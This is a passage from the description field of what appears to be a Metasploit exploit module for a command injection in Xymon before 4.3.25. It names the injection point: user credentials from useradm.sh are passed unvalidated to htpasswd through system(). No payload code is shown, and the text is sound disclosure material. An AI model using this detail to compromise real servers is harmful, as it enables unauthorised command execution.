      'Description' => %q{
        This module exploits a command injection vulnerability in Xymon
        versions before 4.3.25 which allows authenticated users
        to execute arbitrary operating system commands as the web
        server user.

        When adding a new user to the system via the web interface with
        `useradm.sh`, the user's username and password are passed to
        `htpasswd` in a call to `system()` without validation.

        This module has been tested successfully on Xymon version 4.3.10
        on Debian 6.
